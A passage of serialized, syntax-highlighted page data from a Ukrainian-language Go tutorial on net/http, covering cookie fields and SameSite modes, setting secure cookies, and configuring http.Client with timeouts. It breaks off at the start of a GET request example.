cookie\n",[5557,22892,22893],{"class":5559,"line":5589},[5557,22894,5575],{"emptyLinePlaceholder":5574},[5557,22896,22897,22899,22902],{"class":5559,"line":5596},[5557,22898,16985],{"class":5654},[5557,22900,22901],{"class":5567},"       string",[5557,22903,22904],{"class":5647},"    \u002F\u002F URL шлях, для якого cookie валідний\n",[5557,22906,22907,22910,22912],{"class":5559,"line":5602},[5557,22908,22909],{"class":5654},"    Domain",[5557,22911,16977],{"class":5567},[5557,22913,22914],{"class":5647},"    \u002F\u002F Домен, для якого cookie валідний\n",[5557,22916,22917,22920,22923,22925,22927],{"class":5559,"line":5608},[5557,22918,22919],{"class":5654},"    Expires",[5557,22921,22922],{"class":5567},"    time",[5557,22924,5268],{"class":5585},[5557,22926,21177],{"class":5567},[5557,22928,22929],{"class":5647}," \u002F\u002F Абсолютний час закінчення терміну дії\n",[5557,22931,22932,22935,22937],{"class":5559,"line":5614},[5557,22933,22934],{"class":5654},"    RawExpires",[5557,22936,6662],{"class":5567},[5557,22938,22939],{"class":5647},"    \u002F\u002F Сирове значення Expires для читання\n",[5557,22941,22942],{"class":5559,"line":5620},[5557,22943,5575],{"emptyLinePlaceholder":5574},[5557,22945,22946,22949,22952],{"class":5559,"line":5626},[5557,22947,22948],{"class":5654},"    MaxAge",[5557,22950,22951],{"class":5567},"   int",[5557,22953,22954],{"class":5647},"  \u002F\u002F Час життя в секундах (0 = session, \u003C0 = видалити)\n",[5557,22956,22957,22960,22963],{"class":5559,"line":5631},[5557,22958,22959],{"class":5654},"    Secure",[5557,22961,22962],{"class":5567},"   bool",[5557,22964,22965],{"class":5647}," \u002F\u002F Тільки HTTPS\n",[5557,22967,22968,22971,22973],{"class":5559,"line":5644},[5557,22969,22970],{"class":5654},"    HttpOnly",[5557,22972,19148],{"class":5567},[5557,22974,22975],{"class":5647}," \u002F\u002F Недоступний через JavaScript\n",[5557,22977,22978,22981,22984],{"class":5559,"line":5651},[5557,22979,22980],{"class":5654},"    SameSite",[5557,22982,22983],{"class":5567}," SameSite",[5557,22985,22986],{"class":5647}," \u002F\u002F Політика Same-Site\n",[5557,22988,22989],{"class":5559,"line":5686},[5557,22990,5575],{"emptyLinePlaceholder":5574},[5557,22992,22993,22996,22998],{"class":5559,"line":5704},[5557,22994,22995],{"class":5654},"    Raw",[5557,22997,16642],{"class":5567},[5557,22999,23000],{"class":5647},"   \u002F\u002F Сире значення cookie\n",[5557,23002,23003,23006,23008,23010],{"class":5559,"line":5732},[5557,23004,23005],{"class":5654},"    Unparsed",[5557,23007,12049],{"class":5585},[5557,23009,6692],{"class":5567},[5557,23011,23012],{"class":5647}," \u002F\u002F Нерозібрані атрибути\n",[5557,23014,23015],{"class":5559,"line":5738},[5557,23016,5922],{"class":5585},[5348,23018,23019],{},[5205,23020,23021],{},"Константи SameSite:",[5464,23023,23025],{"className":5550,"code":23024,"language":5553,"meta":5472,"style":5472},"const (\n    SameSiteDefaultMode SameSite = iota + 1 \u002F\u002F Браузер вирішує (зазвичай Lax)\n    SameSiteLaxMode                         \u002F\u002F Відправляється при навігації верхнього рівня\n    SameSiteStrictMode                      \u002F\u002F Тільки для того самого сайту\n    SameSiteNoneMode                        \u002F\u002F Завжди відправляється (вимагає Secure)\n)\n",[5236,23026,23027,23034,23054,23062,23070,23078],{"__ignoreMap":5472},[5557,23028,23029,23032],{"class":5559,"line":5560},[5557,23030,23031],{"class":5563},"const",[5557,23033,5586],{"class":5585},[5557,23035,23036,23040,23042,23044,23047,23049,23051],{"class":5559,"line":5571},[5557,23037,23039],{"class":23038},"s-QsJ","    SameSiteDefaultMode",[5557,23041,22983],{"class":5567},[5557,23043,15023],{"class":5585},[5557,23045,23046],{"class":5563},"iota",[5557,23048,8796],{"class":5585},[5557,23050,6213],{"class":6134},[5557,23052,23053],{"class":5647}," \u002F\u002F Браузер вирішує (зазвичай Lax)\n",[5557,23055,23056,23059],{"class":5559,"line":5578},[5557,23057,23058],{"class":23038},"    SameSiteLaxMode",[5557,23060,23061],{"class":5647},"                         \u002F\u002F Відправляється при навігації верхнього рівня\n",[5557,23063,23064,23067],{"class":5559,"line":5589},[5557,23065,23066],{"class":23038},"    SameSiteStrictMode",[5557,23068,23069],{"class":5647},"                      \u002F\u002F Тільки для того самого сайту\n",[5557,23071,23072,23075],{"class":5559,"line":5596},[5557,23073,23074],{"class":23038},"    SameSiteNoneMode",[5557,23076,23077],{"class":5647},"                        \u002F\u002F Завжди відправляється (вимагає Secure)\n",[5557,23079,23080],{"class":5559,"line":5602},[5557,23081,5623],{"class":5585},[5348,23083,23084],{},[5205,23085,23086],{},"Створення та налаштування cookie:",[5464,23088,23090],{"className":5550,"code":23089,"language":5553,"meta":5472,"style":5472},"func setCookieExample(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Простий cookie\n    simple := &http.Cookie{\n        Name:  \"theme\",\n        Value: \"dark\",\n    }\n    http.SetCookie(w, simple)\n\n    \u002F\u002F Сесійний cookie з безпекою\n    session := &http.Cookie{\n        Name:     \"session_id\",\n        Value:    generateSecureToken(),\n        Path:     \"\u002F\",\n        MaxAge:   3600,                    \u002F\u002F 1 година\n        HttpOnly: true,                    \u002F\u002F Захист від XSS\n        Secure:   true,                    \u002F\u002F Тільки HTTPS\n        SameSite: http.SameSiteStrictMode, \u002F\u002F Захист від CSRF\n    }\n    http.SetCookie(w, session)\n\n    \u002F\u002F Cookie з доменом (доступний для піддоменів)\n    tracking := &http.Cookie{\n        Name:     \"tracking_id\",\n        Value:    \"abc123\",\n        Domain:   \".example.com\", \u002F\u002F Доступний для api.example.com, www.example.com\n        Path:     \"\u002F\",\n        MaxAge:   86400 * 365, \u002F\u002F 1 рік\n        SameSite: http.SameSiteLaxMode,\n    }\n    http.SetCookie(w, tracking)\n\n    \u002F\u002F Cookie з абсолютним терміном дії\n    expireTime := time.Now().Add(24 * time.Hour)\n    expires := &http.Cookie{\n        Name:    \"temp_token\",\n        Value:   \"xyz789\",\n        Expires: expireTime,\n        Path:    \"\u002Fapi\",\n    }\n    http.SetCookie(w, expires)\n}\n",[5236,23091,23092,23123,23128,23143,23154,23165,23169,23188,23192,23197,23212,23222,23233,23243,23255,23267,23279,23295,23299,23318,23322,23327,23342,23353,23364,23379,23389,23408,23423,23427,23446,23450,23455,23489,23504,23515,23526,23538,23549,23553,23572],{"__ignoreMap":5472},[5557,23093,23094,23096,23099,23101,23103,23105,23107,23109,23111,23113,23115,23117,23119,23121],{"class":5559,"line":5560},[5557,23095,5634],{"class":5563},[5557,23097,23098],{"class":5637}," setCookieExample",[5557,23100,5673],{"class":5585},[5557,23102,8909],{"class":5654},[5557,23104,8912],{"class":5567},[5557,23106,5268],{"class":5585},[5557,23108,8917],{"class":5567},[5557,23110,5305],{"class":5585},[5557,23112,8922],{"class":5654},[5557,23114,8925],{"class":5585},[5557,23116,8928],{"class":5567},[5557,23118,5268],{"class":5585},[5557,23120,8933],{"class":5567},[5557,23122,5949],{"class":5585},[5557,23124,23125],{"class":5559,"line":5571},[5557,23126,23127],{"class":5647},"    \u002F\u002F Простий cookie\n",[5557,23129,23130,23133,23135,23137,23139,23141],{"class":5559,"line":5578},[5557,23131,23132],{"class":5654},"    simple",[5557,23134,8973],{"class":5585},[5557,23136,8928],{"class":5567},[5557,23138,5268],{"class":5585},[5557,23140,7339],{"class":5567},[5557,23142,6695],{"class":5585},[5557,23144,23145,23147,23149,23152],{"class":5559,"line":5589},[5557,23146,8986],{"class":5654},[5557,23148,14628],{"class":5585},[5557,23150,23151],{"class":5592},"\"theme\"",[5557,23153,6710],{"class":5585},[5557,23155,23156,23158,23160,23163],{"class":5559,"line":5596},[5557,23157,8999],{"class":5654},[5557,23159,6704],{"class":5585},[5557,23161,23162],{"class":5592},"\"dark\"",[5557,23164,6710],{"class":5585},[5557,23166,23167],{"class":5559,"line":5602},[5557,23168,5735],{"class":5585},[5557,23170,23171,23173,23175,23177,23179,23181,23183,23186],{"class":5559,"line":5608},[5557,23172,9097],{"class":5654},[5557,23174,5268],{"class":5585},[5557,23176,9102],{"class":5637},[5557,23178,5673],{"class":5585},[5557,23180,8909],{"class":5654},[5557,23182,5305],{"class":5585},[5557,23184,23185],{"class":5654},"simple",[5557,23187,5623],{"class":5585},[5557,23189,23190],{"class":5559,"line":5614},[5557,23191,5575],{"emptyLinePlaceholder":5574},[5557,23193,23194],{"class":5559,"line":5620},[5557,23195,23196],{"class":5647},"    \u002F\u002F Сесійний cookie з безпекою\n",[5557,23198,23199,23202,23204,23206,23208,23210],{"class":5559,"line":5626},[5557,23200,23201],{"class":5654},"    session",[5557,23203,8973],{"class":5585},[5557,23205,8928],{"class":5567},[5557,23207,5268],{"class":5585},[5557,23209,7339],{"class":5567},[5557,23211,6695],{"class":5585},[5557,23213,23214,23216,23218,23220],{"class":5559,"line":5631},[5557,23215,8986],{"class":5654},[5557,23217,8989],{"class":5585},[5557,23219,8992],{"class":5592},[5557,23221,6710],{"class":5585},[5557,23223,23224,23226,23228,23230],{"class":5559,"line":5644},[5557,23225,8999],{"class":5654},[5557,23227,9002],{"class":5585},[5557,23229,8950],{"class":5637},[5557,23231,23232],{"class":5585},"(),\n",[5557,23234,23235,23237,23239,23241],{"class":5559,"line":5651},[5557,23236,9012],{"class":5654},[5557,23238,8989],{"class":5585},[5557,23240,9017],{"class":5592},[5557,23242,6710],{"class":5585},[5557,23244,23245,23247,23249,23251,23253],{"class":5559,"line":5686},[5557,23246,9024],{"class":5654},[5557,23248,9027],{"class":5585},[5557,23250,9030],{"class":6134},[5557,23252,9033],{"class":5585},[5557,23254,9036],{"class":5647},[5557,23256,23257,23259,23261,23263,23265],{"class":5559,"line":5704},[5557,23258,9041],{"class":5654},[5557,23260,6704],{"class":5585},[5557,23262,9046],{"class":5563},[5557,23264,9033],{"class":5585},[5557,23266,9051],{"class":5647},[5557,23268,23269,23271,23273,23275,23277],{"class":5559,"line":5732},[5557,23270,9056],{"class":5654},[5557,23272,9027],{"class":5585},[5557,23274,9046],{"class":5563},[5557,23276,9033],{"class":5585},[5557,23278,9065],{"class":5647},[5557,23280,23281,23283,23285,23287,23289,23291,23293],{"class":5559,"line":5738},[5557,23282,9070],{"class":5654},[5557,23284,6704],{"class":5585},[5557,23286,8928],{"class":5654},[5557,23288,5268],{"class":5585},[5557,23290,9079],{"class":5654},[5557,23292,5305],{"class":5585},[5557,23294,9084],{"class":5647},[5557,23296,23297],{"class":5559,"line":5755},[5557,23298,5735],{"class":5585},[5557,23300,23301,23303,23305,23307,23309,23311,23313,23316],{"class":5559,"line":5760},[5557,23302,9097],{"class":5654},[5557,23304,5268],{"class":5585},[5557,23306,9102],{"class":5637},[5557,23308,5673],{"class":5585},[5557,23310,8909],{"class":5654},[5557,23312,5305],{"class":5585},[5557,23314,23315],{"class":5654},"session",[5557,23317,5623],{"class":5585},[5557,23319,23320],{"class":5559,"line":5778},[5557,23321,5575],{"emptyLinePlaceholder":5574},[5557,23323,23324],{"class":5559,"line":5794},[5557,23325,23326],{"class":5647},"    \u002F\u002F Cookie з доменом (доступний для піддоменів)\n",[5557,23328,23329,23332,23334,23336,23338,23340],{"class":5559,"line":5799},[5557,23330,23331],{"class":5654},"    tracking",[5557,23333,8973],{"class":5585},[5557,23335,8928],{"class":5567},[5557,23337,5268],{"class":5585},[5557,23339,7339],{"class":5567},[5557,23341,6695],{"class":5585},[5557,23343,23344,23346,23348,23351],{"class":5559,"line":5807},[5557,23345,8986],{"class":5654},[5557,23347,8989],{"class":5585},[5557,23349,23350],{"class":5592},"\"tracking_id\"",[5557,23352,6710],{"class":5585},[5557,23354,23355,23357,23359,23362],{"class":5559,"line":5813},[5557,23356,8999],{"class":5654},[5557,23358,9002],{"class":5585},[5557,23360,23361],{"class":5592},"\"abc123\"",[5557,23363,6710],{"class":5585},[5557,23365,23366,23369,23371,23374,23376],{"class":5559,"line":5835},[5557,23367,23368],{"class":5654},"        Domain",[5557,23370,9027],{"class":5585},[5557,23372,23373],{"class":5592},"\".example.com\"",[5557,23375,5305],{"class":5585},[5557,23377,23378],{"class":5647},"\u002F\u002F Доступний для api.example.com, www.example.com\n",[5557,23380,23381,23383,23385,23387],{"class":5559,"line":5849},[5557,23382,9012],{"class":5654},[5557,23384,8989],{"class":5585},[5557,23386,9017],{"class":5592},[5557,23388,6710],{"class":5585},[5557,23390,23391,23393,23395,23398,23400,23403,23405],{"class":5559,"line":5875},[5557,23392,9024],{"class":5654},[5557,23394,9027],{"class":5585},[5557,23396,23397],{"class":6134},"86400",[5557,23399,20429],{"class":5585},[5557,23401,23402],{"class":6134},"365",[5557,23404,5305],{"class":5585},[5557,23406,23407],{"class":5647},"\u002F\u002F 1 рік\n",[5557,23409,23410,23412,23414,23416,23418,23421],{"class":5559,"line":5881},[5557,23411,9070],{"class":5654},[5557,23413,6704],{"class":5585},[5557,23415,8928],{"class":5654},[5557,23417,5268],{"class":5585},[5557,23419,23420],{"class":5654},"SameSiteLaxMode",[5557,23422,6710],{"class":5585},[5557,23424,23425],{"class":5559,"line":5887},[5557,23426,5735],{"class":5585},[5557,23428,23429,23431,23433,23435,23437,23439,23441,23444],{"class":5559,"line":5892},[5557,23430,9097],{"class":5654},[5557,23432,5268],{"class":5585},[5557,23434,9102],{"class":5637},[5557,23436,5673],{"class":5585},[5557,23438,8909],{"class":5654},[5557,23440,5305],{"class":5585},[5557,23442,23443],{"class":5654},"tracking",[5557,23445,5623],{"class":5585},[5557,23447,23448],{"class":5559,"line":5898},[5557,23449,5575],{"emptyLinePlaceholder":5574},[5557,23451,23452],{"class":5559,"line":5914},[5557,23453,23454],{"class":5647},"    \u002F\u002F Cookie з абсолютним терміном дії\n",[5557,23456,23457,23460,23462,23464,23466,23469,23471,23473,23475,23478,23480,23482,23484,23487],{"class":5559,"line":5919},[5557,23458,23459],{"class":5654},"    expireTime",[5557,23461,5663],{"class":5585},[5557,23463,20432],{"class":5654},[5557,23465,5268],{"class":5585},[5557,23467,23468],{"class":5637},"Now",[5557,23470,11043],{"class":5585},[5557,23472,17475],{"class":5637},[5557,23474,5673],{"class":5585},[5557,23476,23477],{"class":6134},"24",[5557,23479,20429],{"class":5585},[5557,23481,20432],{"class":5654},[5557,23483,5268],{"class":5585},[5557,23485,23486],{"class":5654},"Hour",[5557,23488,5623],{"class":5585},[5557,23490,23491,23494,23496,23498,23500,23502],{"class":5559,"line":5925},[5557,23492,23493],{"class":5654},"    expires",[5557,23495,8973],{"class":5585},[5557,23497,8928],{"class":5567},[5557,23499,5268],{"class":5585},[5557,23501,7339],{"class":5567},[5557,23503,6695],{"class":5585},[5557,23505,23506,23508,23510,23513],{"class":5559,"line":5930},[5557,23507,8986],{"class":5654},[5557,23509,9002],{"class":5585},[5557,23511,23512],{"class":5592},"\"temp_token\"",[5557,23514,6710],{"class":5585},[5557,23516,23517,23519,23521,23524],{"class":5559,"line":5952},[5557,23518,8999],{"class":5654},[5557,23520,9027],{"class":5585},[5557,23522,23523],{"class":5592},"\"xyz789\"",[5557,23525,6710],{"class":5585},[5557,23527,23528,23531,23533,23536],{"class":5559,"line":5966},[5557,23529,23530],{"class":5654},"        Expires",[5557,23532,6704],{"class":5585},[5557,23534,23535],{"class":5654},"expireTime",[5557,23537,6710],{"class":5585},[5557,23539,23540,23542,23544,23547],{"class":5559,"line":5971},[5557,23541,9012],{"class":5654},[5557,23543,9002],{"class":5585},[5557,23545,23546],{"class":5592},"\"\u002Fapi\"",[5557,23548,6710],{"class":5585},[5557,23550,23551],{"class":5559,"line":5977},[5557,23552,5735],{"class":5585},[5557,23554,23555,23557,23559,23561,23563,23565,23567,23570],{"class":5559,"line":5998},[5557,23556,9097],{"class":5654},[5557,23558,5268],{"class":5585},[5557,23560,9102],{"class":5637},[5557,23562,5673],{"class":5585},[5557,23564,8909],{"class":5654},[5557,23566,5305],{"class":5585},[5557,23568,23569],{"class":5654},"expires",[5557,23571,5623],{"class":5585},[5557,23573,23574],{"class":5559,"line":6003},[5557,23575,5922],{"class":5585},[7167,23577,16563,23579,23581],{"id":23578},"структура-httpclient-http-клієнт",[5236,23580,5393],{},": HTTP-клієнт",[5348,23583,23584,23586],{},[5236,23585,5393],{}," використовується для відправки HTTP-запитів до зовнішніх серверів. Це критично важливо для інтеграції з зовнішніми API.",[5464,23588,23590],{"className":5550,"code":23589,"language":5553,"meta":5472,"style":5472},"type Client struct {\n    \u002F\u002F Транспорт для виконання HTTP-запитів\n    \u002F\u002F За замовчуванням: http.DefaultTransport\n    Transport RoundTripper\n\n    \u002F\u002F Політика редиректів\n    \u002F\u002F nil = до 10 автоматичних редиректів\n    CheckRedirect func(req *Request, via []*Request) error\n\n    \u002F\u002F Пул cookies (автоматичне керування)\n    Jar CookieJar\n\n    \u002F\u002F Таймаут для всієї операції (запит + відповідь)\n    \u002F\u002F 0 = без таймауту (небезпечно!)\n    Timeout time.Duration\n}\n",[5236,23591,23592,23603,23608,23613,23621,23625,23630,23635,23665,23669,23674,23682,23686,23691,23696,23707],{"__ignoreMap":5472},[5557,23593,23594,23596,23599,23601],{"class":5559,"line":5560},[5557,23595,11991],{"class":5563},[5557,23597,23598],{"class":5567}," Client",[5557,23600,11997],{"class":5563},[5557,23602,5701],{"class":5585},[5557,23604,23605],{"class":5559,"line":5571},[5557,23606,23607],{"class":5647},"    \u002F\u002F Транспорт для виконання HTTP-запитів\n",[5557,23609,23610],{"class":5559,"line":5578},[5557,23611,23612],{"class":5647},"    \u002F\u002F За замовчуванням: http.DefaultTransport\n",[5557,23614,23615,23618],{"class":5559,"line":5589},[5557,23616,23617],{"class":5654},"    Transport",[5557,23619,23620],{"class":5567}," RoundTripper\n",[5557,23622,23623],{"class":5559,"line":5596},[5557,23624,5575],{"emptyLinePlaceholder":5574},[5557,23626,23627],{"class":5559,"line":5602},[5557,23628,23629],{"class":5647},"    \u002F\u002F Політика редиректів\n",[5557,23631,23632],{"class":5559,"line":5608},[5557,23633,23634],{"class":5647},"    \u002F\u002F nil = до 10 автоматичних редиректів\n",[5557,23636,23637,23640,23642,23644,23647,23649,23651,23653,23656,23659,23661,23663],{"class":5559,"line":5614},[5557,23638,23639],{"class":5654},"    CheckRedirect",[5557,23641,21829],{"class":5563},[5557,23643,5673],{"class":5585},[5557,23645,23646],{"class":5654},"req",[5557,23648,8925],{"class":5585},[5557,23650,8933],{"class":5567},[5557,23652,5305],{"class":5585},[5557,23654,23655],{"class":5654},"via",[5557,23657,23658],{"class":5585}," []*",[5557,23660,8933],{"class":5567},[5557,23662,10276],{"class":5585},[5557,23664,18031],{"class":5567},[5557,23666,23667],{"class":5559,"line":5620},[5557,23668,5575],{"emptyLinePlaceholder":5574},[5557,23670,23671],{"class":5559,"line":5626},[5557,23672,23673],{"class":5647},"    \u002F\u002F Пул cookies (автоматичне керування)\n",[5557,23675,23676,23679],{"class":5559,"line":5631},[5557,23677,23678],{"class":5654},"    Jar",[5557,23680,23681],{"class":5567}," CookieJar\n",[5557,23683,23684],{"class":5559,"line":5644},[5557,23685,5575],{"emptyLinePlaceholder":5574},[5557,23687,23688],{"class":5559,"line":5651},[5557,23689,23690],{"class":5647},"    \u002F\u002F Таймаут для всієї операції (запит + відповідь)\n",[5557,23692,23693],{"class":5559,"line":5686},[5557,23694,23695],{"class":5647},"    \u002F\u002F 0 = без таймауту (небезпечно!)\n",[5557,23697,23698,23701,23703,23705],{"class":5559,"line":5704},[5557,23699,23700],{"class":5654},"    Timeout",[5557,23702,21172],{"class":5567},[5557,23704,5268],{"class":5585},[5557,23706,21621],{"class":5567},[5557,23708,23709],{"class":5559,"line":5732},[5557,23710,5922],{"class":5585},[5348,23712,23713],{},[5205,23714,23715],{},"Глобальні клієнти:",[5464,23717,23719],{"className":5550,"code":23718,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Клієнт за замовчуванням (без таймауту!)\nvar DefaultClient = &Client{}\n\n\u002F\u002F Рекомендований клієнт для продакшн\nvar productionClient = &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        MaxIdleConns:          100,\n        MaxIdleConnsPerHost:   10,\n        IdleConnTimeout:       90 * time.Second,\n        TLSHandshakeTimeout:   10 * time.Second,\n        ExpectContinueTimeout: 1 * time.Second,\n    },\n}\n",[5236,23720,23721,23726,23743,23747,23752,23769,23787,23802,23815,23826,23846,23865,23884,23889],{"__ignoreMap":5472},[5557,23722,23723],{"class":5559,"line":5560},[5557,23724,23725],{"class":5647},"\u002F\u002F Клієнт за замовчуванням (без таймауту!)\n",[5557,23727,23728,23731,23734,23737,23740],{"class":5559,"line":5571},[5557,23729,23730],{"class":5563},"var",[5557,23732,23733],{"class":5654}," DefaultClient",[5557,23735,23736],{"class":5585}," = &",[5557,23738,23739],{"class":5567},"Client",[5557,23741,23742],{"class":5585},"{}\n",[5557,23744,23745],{"class":5559,"line":5578},[5557,23746,5575],{"emptyLinePlaceholder":5574},[5557,23748,23749],{"class":5559,"line":5589},[5557,23750,23751],{"class":5647},"\u002F\u002F Рекомендований клієнт для продакшн\n",[5557,23753,23754,23756,23759,23761,23763,23765,23767],{"class":5559,"line":5596},[5557,23755,23730],{"class":5563},[5557,23757,23758],{"class":5654}," productionClient",[5557,23760,23736],{"class":5585},[5557,23762,8928],{"class":5567},[5557,23764,5268],{"class":5585},[5557,23766,23739],{"class":5567},[5557,23768,6695],{"class":5585},[5557,23770,23771,23773,23775,23777,23779,23781,23783,23785],{"class":5559,"line":5602},[5557,23772,23700],{"class":5654},[5557,23774,6704],{"class":5585},[5557,23776,22746],{"class":6134},[5557,23778,20429],{"class":5585},[5557,23780,20432],{"class":5654},[5557,23782,5268],{"class":5585},[5557,23784,20437],{"class":5654},[5557,23786,6710],{"class":5585},[5557,23788,23789,23791,23793,23795,23797,23800],{"class":5559,"line":5608},[5557,23790,23617],{"class":5654},[5557,23792,22390],{"class":5585},[5557,23794,8928],{"class":5567},[5557,23796,5268],{"class":5585},[5557,23798,23799],{"class":5567},"Transport",[5557,23801,6695],{"class":5585},[5557,23803,23804,23807,23810,23813],{"class":5559,"line":5614},[5557,23805,23806],{"class":5654},"        MaxIdleConns",[5557,23808,23809],{"class":5585},":          ",[5557,23811,23812],{"class":6134},"100",[5557,23814,6710],{"class":5585},[5557,23816,23817,23820,23822,23824],{"class":5559,"line":5620},[5557,23818,23819],{"class":5654},"        MaxIdleConnsPerHost",[5557,23821,9027],{"class":5585},[5557,23823,18335],{"class":6134},[5557,23825,6710],{"class":5585},[5557,23827,23828,23831,23833,23836,23838,23840,23842,23844],{"class":5559,"line":5626},[5557,23829,23830],{"class":5654},"        IdleConnTimeout",[5557,23832,22227],{"class":5585},[5557,23834,23835],{"class":6134},"90",[5557,23837,20429],{"class":5585},[5557,23839,20432],{"class":5654},[5557,23841,5268],{"class":5585},[5557,23843,20437],{"class":5654},[5557,23845,6710],{"class":5585},[5557,23847,23848,23851,23853,23855,23857,23859,23861,23863],{"class":5559,"line":5631},[5557,23849,23850],{"class":5654},"        TLSHandshakeTimeout",[5557,23852,9027],{"class":5585},[5557,23854,18335],{"class":6134},[5557,23856,20429],{"class":5585},[5557,23858,20432],{"class":5654},[5557,23860,5268],{"class":5585},[5557,23862,20437],{"class":5654},[5557,23864,6710],{"class":5585},[5557,23866,23867,23870,23872,23874,23876,23878,23880,23882],{"class":5559,"line":5644},[5557,23868,23869],{"class":5654},"        ExpectContinueTimeout",[5557,23871,6704],{"class":5585},[5557,23873,6213],{"class":6134},[5557,23875,20429],{"class":5585},[5557,23877,20432],{"class":5654},[5557,23879,5268],{"class":5585},[5557,23881,20437],{"class":5654},[5557,23883,6710],{"class":5585},[5557,23885,23886],{"class":5559,"line":5651},[5557,23887,23888],{"class":5585},"    },\n",[5557,23890,23891],{"class":5559,"line":5686},[5557,23892,5922],{"class":5585},[5348,23894,23895],{},[5205,23896,23897],{},"Методи Client:",[5464,23899,23901],{"className":5550,"code":23900,"language":5553,"meta":5472,"style":5472},"\u002F\u002F GET-запит\nfunc (c *Client) Get(url string) (*Response, error)\n\n\u002F\u002F POST-запит із даними\nfunc (c *Client) Post(url, contentType string, body io.Reader) (*Response, error)\n\n\u002F\u002F POST форми\nfunc (c *Client) PostForm(url string, data url.Values) (*Response, error)\n\n\u002F\u002F HEAD-запит (тільки заголовки)\nfunc (c *Client) Head(url string) (*Response, error)\n\n\u002F\u002F Виконання кастомного запиту\nfunc (c *Client) Do(req *Request) (*Response, error)\n",[5236,23902,23903,23908,23942,23946,23951,23999,24003,24008,24051,24055,24060,24093,24097,24102],{"__ignoreMap":5472},[5557,23904,23905],{"class":5559,"line":5560},[5557,23906,23907],{"class":5647},"\u002F\u002F GET-запит\n",[5557,23909,23910,23912,23914,23917,23919,23921,23923,23925,23927,23929,23931,23933,23936,23938,23940],{"class":5559,"line":5571},[5557,23911,5634],{"class":5563},[5557,23913,5226],{"class":5585},[5557,23915,23916],{"class":5654},"c ",[5557,23918,18338],{"class":5585},[5557,23920,23739],{"class":5567},[5557,23922,10276],{"class":5585},[5557,23924,10977],{"class":5637},[5557,23926,5673],{"class":5585},[5557,23928,16620],{"class":5654},[5557,23930,6662],{"class":5567},[5557,23932,18900],{"class":5585},[5557,23934,23935],{"class":5567},"Response",[5557,23937,5305],{"class":5585},[5557,23939,12061],{"class":5567},[5557,23941,5623],{"class":5585},[5557,23943,23944],{"class":5559,"line":5578},[5557,23945,5575],{"emptyLinePlaceholder":5574},[5557,23947,23948],{"class":5559,"line":5589},[5557,23949,23950],{"class":5647},"\u002F\u002F POST-запит із даними\n",[5557,23952,23953,23955,23957,23959,23961,23963,23965,23968,23970,23972,23974,23976,23978,23980,23982,23984,23986,23989,23991,23993,23995,23997],{"class":5559,"line":5596},[5557,23954,5634],{"class":5563},[5557,23956,5226],{"class":5585},[5557,23958,23916],{"class":5654},[5557,23960,18338],{"class":5585},[5557,23962,23739],{"class":5567},[5557,23964,10276],{"class":5585},[5557,23966,23967],{"class":5637},"Post",[5557,23969,5673],{"class":5585},[5557,23971,16620],{"class":5654},[5557,23973,5305],{"class":5585},[5557,23975,6655],{"class":5654},[5557,23977,6662],{"class":5567},[5557,23979,5305],{"class":5585},[5557,23981,5531],{"class":5654},[5557,23983,16698],{"class":5567},[5557,23985,5268],{"class":5585},[5557,23987,23988],{"class":5567},"Reader",[5557,23990,18900],{"class":5585},[5557,23992,23935],{"class":5567},[5557,23994,5305],{"class":5585},[5557,23996,12061],{"class":5567},[5557,23998,5623],{"class":5585},[5557,24000,24001],{"class":5559,"line":5602},[5557,24002,5575],{"emptyLinePlaceholder":5574},[5557,24004,24005],{"class":5559,"line":5608},[5557,24006,24007],{"class":5647},"\u002F\u002F POST форми\n",[5557,24009,24010,24012,24014,24016,24018,24020,24022,24025,24027,24029,24031,24033,24035,24037,24039,24041,24043,24045,24047,24049],{"class":5559,"line":5614},[5557,24011,5634],{"class":5563},[5557,24013,5226],{"class":5585},[5557,24015,23916],{"class":5654},[5557,24017,18338],{"class":5585},[5557,24019,23739],{"class":5567},[5557,24021,10276],{"class":5585},[5557,24023,24024],{"class":5637},"PostForm",[5557,24026,5673],{"class":5585},[5557,24028,16620],{"class":5654},[5557,24030,6662],{"class":5567},[5557,24032,5305],{"class":5585},[5557,24034,10950],{"class":5654},[5557,24036,16789],{"class":5567},[5557,24038,5268],{"class":5585},[5557,24040,17543],{"class":5567},[5557,24042,18900],{"class":5585},[5557,24044,23935],{"class":5567},[5557,24046,5305],{"class":5585},[5557,24048,12061],{"class":5567},[5557,24050,5623],{"class":5585},[5557,24052,24053],{"class":5559,"line":5620},[5557,24054,5575],{"emptyLinePlaceholder":5574},[5557,24056,24057],{"class":5559,"line":5626},[5557,24058,24059],{"class":5647},"\u002F\u002F HEAD-запит (тільки заголовки)\n",[5557,24061,24062,24064,24066,24068,24070,24072,24074,24077,24079,24081,24083,24085,24087,24089,24091],{"class":5559,"line":5631},[5557,24063,5634],{"class":5563},[5557,24065,5226],{"class":5585},[5557,24067,23916],{"class":5654},[5557,24069,18338],{"class":5585},[5557,24071,23739],{"class":5567},[5557,24073,10276],{"class":5585},[5557,24075,24076],{"class":5637},"Head",[5557,24078,5673],{"class":5585},[5557,24080,16620],{"class":5654},[5557,24082,6662],{"class":5567},[5557,24084,18900],{"class":5585},[5557,24086,23935],{"class":5567},[5557,24088,5305],{"class":5585},[5557,24090,12061],{"class":5567},[5557,24092,5623],{"class":5585},[5557,24094,24095],{"class":5559,"line":5644},[5557,24096,5575],{"emptyLinePlaceholder":5574},[5557,24098,24099],{"class":5559,"line":5651},[5557,24100,24101],{"class":5647},"\u002F\u002F Виконання кастомного запиту\n",[5557,24103,24104,24106,24108,24110,24112,24114,24116,24119,24121,24123,24125,24127,24129,24131,24133,24135],{"class":5559,"line":5686},[5557,24105,5634],{"class":5563},[5557,24107,5226],{"class":5585},[5557,24109,23916],{"class":5654},[5557,24111,18338],{"class":5585},[5557,24113,23739],{"class":5567},[5557,24115,10276],{"class":5585},[5557,24117,24118],{"class":5637},"Do",[5557,24120,5673],{"class":5585},[5557,24122,23646],{"class":5654},[5557,24124,8925],{"class":5585},[5557,24126,8933],{"class":5567},[5557,24128,18900],{"class":5585},[5557,24130,23935],{"class":5567},[5557,24132,5305],{"class":5585},[5557,24134,12061],{"class":5567},[5557,24136,5623],{"class":5585},[5348,24138,24139],{},[5205,24140,24141],{},"Приклади використання Client:",[5464,24143,24145],{"className":5550,"code":24144,"language":5553,"meta":5472,"style":5472},"\u002F\u002F 1. Простий GET-запит\nfunc simpleGet() {\n    client := &http.Client{Timeout: 10 * time.Second}\n    \n    resp, err := client.Get(\"https:\u002F\u002Fapi.example.com\u002Fusers\")\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer 